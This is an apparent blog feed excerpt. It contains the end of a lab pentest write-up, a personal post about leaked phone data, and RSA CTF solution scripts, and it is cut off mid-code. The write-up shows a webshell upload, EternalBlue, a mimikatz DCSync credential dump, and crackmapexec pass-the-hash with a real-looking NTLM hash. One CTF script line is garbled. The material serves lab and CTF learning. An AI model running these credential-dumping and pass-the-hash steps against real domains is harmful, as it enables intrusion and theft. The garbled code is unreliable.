class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line"></span><br><span class="line">Bind_addr = 0.0.0.0</span><br><span class="line"></span><br><span class="line">bind_port = 7000</span><br></pre></td></tr></table></figure><p>在服务器启动</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./frps -c frps.ini</span><br></pre></td></tr></table></figure><p>socks5连接</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[服务器ip]:[remote_port]</span><br><span class="line">[服务器ip]:10088</span><br></pre></td></tr></table></figure><p>在这里我使用了proxifier来代理到全局<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806163106.png" alt="image.png" loading="lazy"><br>然后同时使用<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806170738.png" alt="image.png" loading="lazy"><br>来到我的kali</p><h3 id="信呼OA-–-172-22-1-18"><a class="headerlink" href="#信呼OA-–-172-22-1-18"></a>信呼OA – 172.22.1.18</h3><p>admin/admin123登录后进行文件上传<br>得到<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806165218.png" alt="image.png" loading="lazy"><br>然后直接蚁剑连接<br>连接上之后在C:/Users/Administrator/flag/flag02.txt发现flag，进行一个flag2的读取<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806165259.png" alt="image.png" loading="lazy"></p><h2 id="flag03"><a class="headerlink" href="#flag03"></a>flag03</h2><h3 id="永恒之蓝-–-172-22-1-21-172-22-1-16"><a class="headerlink" href="#永恒之蓝-–-172-22-1-21-172-22-1-16"></a>永恒之蓝 – 172.22.1.21 -> 172.22.1.16</h3><p>我们直接用proxychain4去启动msfconsole<br>然后丝滑小连招拿到蓝的meterpreter<br>通过dir C:/Users/Administrator发现这个机器上并没有flag，于是听晨曦✌说有可能是要pth去拿到DC那台机子的shell，所以flag3有可能在DC那里，然后直到这里我才发现flag02的提示说flag03在domain controller里<br>那我们直接抓哈希</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">load kiwi</span><br><span class="line"></span><br><span class="line">kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806172632.png" alt="image.png" loading="lazy"><br>这样我们就拿到了administrator的hash<br>之后我们直接使用kali中的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "dir"</span><br><span class="line"></span><br><span class="line">proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806172755.png" alt="image.png" loading="lazy"><br>这样我们就拿到了最后一部分flag<br>那么就到此为止啦</p><h2 id="反思"><a class="headerlink" href="#反思"></a>反思</h2><p>其实按照自己的进度来说还是总体比较顺利，之前学域的时候顾着理论而没有注重实践，这个靶机的pth狠狠提醒了我一手</p>]]></content>
<summary type="html"><h2 id="flag01"><a class="headerlink" href="#flag01"></a>flag01</h2>
<p>访问靶机后有如下</p>
<p><img src="https://fault-1315577519.cos.ap-nanjing.my</summary>
<category term="渗透测试" scheme="http://fault123.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
<category term="春秋云境" scheme="http://fault123.github.io/tags/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/"/>
</entry>
<entry>
<title>关于信息泄露的一些吐槽</title>
<link href="http://fault123.github.io/2024/08/04/%E5%85%B3%E4%BA%8E%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84%E4%B8%80%E4%BA%9B%E5%90%90%E6%A7%BD/"/>
<id>http://fault123.github.io/2024/08/04/%E5%85%B3%E4%BA%8E%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E7%9A%84%E4%B8%80%E4%BA%9B%E5%90%90%E6%A7%BD/</id>
<published>2024-08-03T16:00:00.000Z</published>
<updated>2024-08-05T14:35:15.394Z</updated>
<content type="html"><![CDATA[<h2 id="起因"><a class="headerlink" href="#起因"></a>起因</h2><p>在大约三月份时便听闺蜜的吐槽，说自己几乎每天都有骚扰电话，起初我以为是闺蜜对于个人信息的保护不太重视，而在询问过后得知，其实并非如此，而是自己的信息莫名其妙的被泄露了，我当时只教了她如何保护个人信息以及设置来电拦截后便觉得此事已然了结</p><h2 id="今日"><a class="headerlink" href="#今日"></a>今日</h2><p>知道今天，再次收到闺蜜的吐槽，发现骚扰电话打过来的频率从之前的每天一个左右，到了现在的一天三个，我在惊讶于这个离谱的速度的同时，又收到了舍友的吐槽<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240805195129.png" alt="image.png" loading="lazy"><br>正在我沾沾自喜以为自己的信息没被泄露后，仅仅一个小时左右的时间，我也喜提信息泄露大礼包<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240805195247.png" alt="image.png" loading="lazy"><br>气愤之余便有了如下对话</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">fault:你们从哪儿来的我个人信息？</span><br><span class="line">XX机构：啊，可能是你之前领过我们机构的书？也有可能是你参加过我们的讲座？</span><br><span class="line">fault:我可以很确定我没有</span><br><span class="line">XX机构:那我不知道咯，那就有可能是我们代理收上来的</span><br></pre></td></tr></table></figure><p>很气！！！！<br>正当我在和舍友确定是否是同一个电话号码的时候，这个机构的同一个电话号码，三杀！<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240805195303.png" alt="image.png" loading="lazy"></p><p>我在大为震撼的同时，也从他嘴里听到是由于我们参加了讲座从而得到我们的信息的</p><h2 id="震撼"><a class="headerlink" href="#震撼"></a>震撼</h2><p>在我们聊天对信息的同时，惊奇的发现了一个问题，我与这位同学的学号是连着的，而且我俩的接听时间只差几分钟<br>那么是什么情况下可以做到在我们都很确定没有听过这个机构的考研讲座，也没有领过书的情况下按照学号倒叙，得到我们的手机号及准确姓名给我们打电话<br>既然它知道我的手机号和准确姓名以及学号，那我是不是可以合理怀疑它也知道我的家庭住址以及我家人的个人信息？？？<br>一个考研机构可以凭自己的能力做到这样的非凡事情么？<br>我不愿意再深思下去，这样是无凭无据且毫无意义的<br>大数据时代我可以理解信息泄露，但是我不可理解在短短一年之内让我的手机号以及个人信息从社工库上查都查不到到一个考研机构也可以知道我的学号姓名以及手机号<br>之后，附上我闺蜜给我的小妙招，也同时希望某考研机构及其信息来源自重<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240805195506.png" alt="image.png" loading="lazy"></p>]]></content>
<summary type="html"><h2 id="起因"><a class="headerlink" href="#起因"></a>起因</h2>
<p>在大约三月份时便听闺蜜的吐槽，说自己几乎每天都有骚扰电话，起初我以为是闺蜜对于个人信息的保护不太重视，而在询问过后得知，其实并非如此，而是自己的信息莫名其妙的被</summary>
<category term="日常" scheme="http://fault123.github.io/tags/%E6%97%A5%E5%B8%B8/"/>
</entry>
<entry>
<title>工坊wp-RSA2</title>
<link href="http://fault123.github.io/2024/07/28/%E5%B7%A5%E5%9D%8Awp-RSA2/"/>
<id>http://fault123.github.io/2024/07/28/%E5%B7%A5%E5%9D%8Awp-RSA2/</id>
<published>2024-07-27T16:00:00.000Z</published>
<updated>2024-08-06T03:11:48.735Z</updated>
<content type="html"><![CDATA[<h2 id="RSA2-P1"><a class="headerlink" href="#RSA2-P1"></a>[RSA2]P1</h2><p>加密代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">flag = <span class="string">b'NSSCTF{******}'</span></span><br><span class="line"></span><br><span class="line">p = getPrime(<span class="number">5120</span>)</span><br><span class="line">q = getPrime(<span class="number">5120</span>)</span><br><span class="line"></span><br><span class="line">n = p*q</span><br><span class="line">e = <span class="number">97</span></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line">c = powmod(m, e, n)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'n = <span class="subst">{n}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'e = <span class="subst">{e}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'c = <span class="subst">{c}</span>'</span>)</span><br></pre></td></tr></table></figure><p>我们发现e很小，所以我们尝试使用小明文去解决<br><img src="/images/Pasted%20image%2020240721101519.png" alt="" loading="lazy"><br>要注意，iroot的[0]是结果[1]是能否做到</p><h2 id="RSA2-P2"><a class="headerlink" href="#RSA2-P2"></a>[RSA2]P2</h2><p>我们发现这次的e虽然更小了，但是显然得不到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>m</mi><mi>e</mi></msup><mo><</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">m^{e} < n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7535em;vertical-align:-0.0391em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></span></p><p>又因为我们知道</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>c</mi><mo>≡</mo><msup><mi>m</mi><mi>e</mi></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>N</mi></mrow><annotation encoding="application/x-tex">c \equiv m^{e} \bmod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7144em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p>所以我们可以得到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>m</mi><mi>e</mi></msup><mo>≡</mo><mi>c</mi><mo>+</mo><mi>k</mi><mo>×</mo><mi>N</mi></mrow><annotation encoding="application/x-tex">m^{e} \equiv c+k\times N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7144em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p>因为e很小，所以我们可以通过枚举k来进行爆破<br>爆破代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line"> c1 = c + i*n</span><br><span class="line"> <span class="keyword">if</span> gmpy2.iroot(c1,e)[<span class="number">1</span>]:</span><br><span class="line"> <span class="built_in">print</span>(long_to_bytes(gmpy2.iroot(c1,e)[<span class="number">0</span>]))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P3"><a class="headerlink" href="#RSA2-P3"></a>[RSA2]P3</h2><p>rabin板子题，直接打就行</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = <span class="number">67711062621608175960173275013534737889372437946924512522469843485353704013203</span></span><br><span class="line">q = <span class="number">91200252033239924238625443698357031288749612243099728355449192607988117291739</span></span><br><span class="line">e = <span class="number">2</span></span><br><span class="line">c = <span class="number">5251890478898826530186837207902117236305266861227697352434308106457554098811792713226801824100629792962861125855696719512180887415808454466978721678349614</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rabin_attack</span>(<span class="params">c, n, p, q</span>):</span><br><span class="line"> c1 = powmod(c, (p+<span class="number">1</span>)//<span class="number">4</span>, p)</span><br><span class="line"> c2 = powmod(c, (q+<span class="number">1</span>)//<span class="number">4</span>, q)</span><br><span class="line"> cp1 = p - c1</span><br><span class="line"> cp2 = q - c2</span><br><span class="line"></span><br><span class="line"> t1 = invert(p, q)</span><br><span class="line"> t2 = invert(q, p)</span><br><span class="line"></span><br><span class="line"> m1 = (q*c1*c2 + p*c2*t1) % n</span><br><span class="line"> m2 = (q*c1*t2 + p*cp2*t1) % n</span><br><span class="line"> m3 = (q*cp1*t2 + p*c2*t1) % n</span><br><span class="line"> m4 = (q*cp1*t2 + p*cp2*t1) % n</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> m1, m2, m3, m4</span><br><span class="line"></span><br><span class="line">ms = rabin_attack(c, p*q, p, q)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> m <span class="keyword">in</span> ms:</span><br><span class="line"> <span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P4"><a class="headerlink" href="#RSA2-P4"></a>[RSA2]P4</h2><p>源码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">flag = <span class="string">b'NSSCTF{******}'</span></span><br><span class="line"></span><br><span class="line">p = getPrime(<span class="number">256</span>)</span><br><span class="line">q = getPrime(<span class="number">256</span>)</span><br><span class="line"></span><br><span class="line">n = p*q</span><br><span class="line">d = getPrime(<span class="number">128</span>)</span><br><span class="line">e = inverse(d, (p-<span class="number">1</span>)*(q-<span class="number">1</span>))</span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line"></span><br><span class="line">c = powmod(m, e, n)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'n = <span class="subst">{n}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'e = <span class="subst">{e}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'c = <span class="subst">{c}</span>'</span>)</span><br></pre></td></tr></table></figure><p>我们发现e变成了d与phi的逆元，经过推理之后发现e/phi可以近似等于k/d，而且这里的e很大，所以我们可以考虑使用维纳攻击，也就是对于e/phi进行连分数展开<br>解题脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">n = <span class="number">6969872410035233098344189258766624225446081814953480897731644163180991292913719910322241873463164232700368119465476508174863062276659958418657253738005689</span></span><br><span class="line">e = <span class="number">3331016607237504021038095412236348385663413736904453330557803644384818257225138777641344877202234881627514102078530507171735156112302207979925588113589669</span></span><br><span class="line">c = <span class="number">1754994938947260364311041300467524420957926989584983693004487724099773647229373820465164193428679197813476633649362998772470084452129370353136199193923837</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ContinuedFraction</span>():</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, numerator, denumerator</span>):</span><br><span class="line"> self.numberlist = [] <span class="comment"># number in continued fraction</span></span><br><span class="line"> self.fractionlist = [] <span class="comment"># the near fraction list</span></span><br><span class="line"> self.GenerateNumberList(numerator, denumerator)</span><br><span class="line"> self.GenerateFractionList()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">GenerateNumberList</span>(<span class="params">self, numerator, denumerator</span>):</span><br><span class="line"> <span class="keyword">while</span> numerator != <span class="number">1</span>:</span><br><span class="line"> quotient = numerator // denumerator</span><br><span class="line"> remainder = numerator % denumerator</span><br><span class="line"> self.numberlist.append(quotient)</span><br><span class="line"> numerator = denumerator</span><br><span class="line"> denumerator = remainder</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">GenerateFractionList</span>(<span class="params">self</span>):</span><br><span class="line"> self.fractionlist.append([self.numberlist[<span class="number">0</span>], <span class="number">1</span>])</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="built_in">len</span>(self.numberlist)):</span><br><span class="line"> numerator = self.numberlist[i]</span><br><span class="line"> denumerator = <span class="number">1</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(i):</span><br><span class="line"> temp = numerator</span><br><span class="line"> numerator = denumerator + numerator * self.numberlist[i - j - <span class="number">1</span>]</span><br><span class="line"> denumerator = temp</span><br><span class="line"> self.fractionlist.append([numerator, denumerator])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">a = ContinuedFraction(e, n)</span><br><span class="line"><span class="keyword">for</span> k, d <span class="keyword">in</span> a.fractionlist:</span><br><span class="line"> m = powmod(c, d, n)</span><br><span class="line"> flag = long_to_bytes(m)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> <span class="string">b'NSSCTF'</span> <span class="keyword">in</span> flag:</span><br><span class="line"> <span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><h2 id="RSA2-P5"><a class="headerlink" href="#RSA2-P5"></a>[RSA2]P5</h2><p>加密代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">flag = os.getenv(<span class="string">'FLAG'</span>)</span><br><span class="line">m = bytes_to_long(flag.encode())</span><br><span class="line">e = <span class="number">127</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">enc</span>():</span><br><span class="line"> p = getPrime(<span class="number">512</span>)</span><br><span class="line"> q = getPrime(<span class="number">512</span>)</span><br><span class="line"> n = p*q</span><br><span class="line"> c = <span class="built_in">pow</span>(m, e, n)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"n: <span class="subst">{n}</span>"</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"c: <span class="subst">{c}</span>"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> opt = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">'input> '</span>))</span><br><span class="line"> <span class="keyword">if</span> opt == <span class="number">1</span>:</span><br><span class="line"> enc()</span><br><span class="line"></span><br><span class="line">main()</span><br></pre></td></tr></table></figure><p>它给了n，c那么我们就可以推导出</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>c</mi><mo>=</mo><mi>k</mi><mo>×</mo><mi>n</mi><mo>+</mo><msup><mi>m</mi><mi>e</mi></msup></mrow><annotation encoding="application/x-tex">c = k \times n + m^{e}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7144em;"></span><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>既然它给了我c和n，e也是已知的，我们又已知部分明文，那么我们可以尝试遍历k找到使得符合部分明文的k即可<br>事实证明这种做法是错的<br>那么我们可以考虑使用中国剩余定理去求解，也就是如果有多个同余式，我们可以使用crt来求解他们的共同明文<br>脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">p = remote(<span class="string">"node4.anna.nssctf.cn"</span>,<span class="number">29000</span>)</span><br><span class="line">e = <span class="number">127</span></span><br><span class="line">n_ed = []*<span class="number">64</span></span><br><span class="line">c_ed = []*<span class="number">64</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">64</span>):</span><br><span class="line"> p.sendline(<span class="string">"1"</span>)</span><br><span class="line"> n_un = p.recvline().decode()</span><br><span class="line"> c_un = p.recvline().decode()</span><br><span class="line"> n = <span class="built_in">int</span>(re.findall(<span class="string">"n: (\d+)"</span>,n_un)[<span class="number">0</span>])</span><br><span class="line"> c = <span class="built_in">int</span>(re.findall(<span class="string">"c: (\d+)"</span>,c_un)[<span class="number">0</span>])</span><br><span class="line"> n_ed.append(n)</span><br><span class="line"> c_ed.append(c)</span><br><span class="line"></span><br><span class="line">me = crt(n_ed,c_ed)[<span class="number">0</span>]</span><br><span class="line">m = gm/imagesot(me,e)[<span class="number">0</span>]</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P6"><a class="headerlink" href="#RSA2-P6"></a>[RSA2]P6</h2><p>加密代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> choice</span><br><span class="line"></span><br><span class="line">flag = <span class="string">b'NSSCTF{******}'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getMyPrime</span>(<span class="params">nbits</span>):</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> p = <span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> p.bit_length() <= nbits:</span><br><span class="line"> p *= choice(sieve_base)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> isPrime(p+<span class="number">1</span>):</span><br><span 